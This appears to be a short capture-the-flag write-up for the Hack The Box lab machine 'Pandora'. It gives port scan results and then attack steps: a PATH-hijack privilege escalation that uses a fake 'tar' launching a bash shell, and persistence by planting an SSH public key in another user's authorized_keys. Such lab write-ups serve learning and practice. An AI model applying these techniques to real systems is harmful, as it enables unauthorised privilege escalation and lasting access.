Pandora HTB

Enumeration

Using nmap enumeration:

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
PORT    STATE SERVICE
161/udp open  snmp

Exploitation

Logging in using ssh found one more user matt in home directory.

echo /bin/bash > tar

export PATH=/home/matt:$PATH

chmod +x tar

It doesn't run from this shell so getting an ssh shell. To get a ssh shell in matt:

  • generate key pair with ssh-keygen

  • drop public key into /home/matt/.ssh/authorized_keys

  • Give appropriate permissions

chmod 700 /home/matt/.ssh
chmod 600 /home/matt/.ssh/authorized_keys

Beyond Root

To trace back the process we did echo $$ first and went back from there in ps -ef

Last updated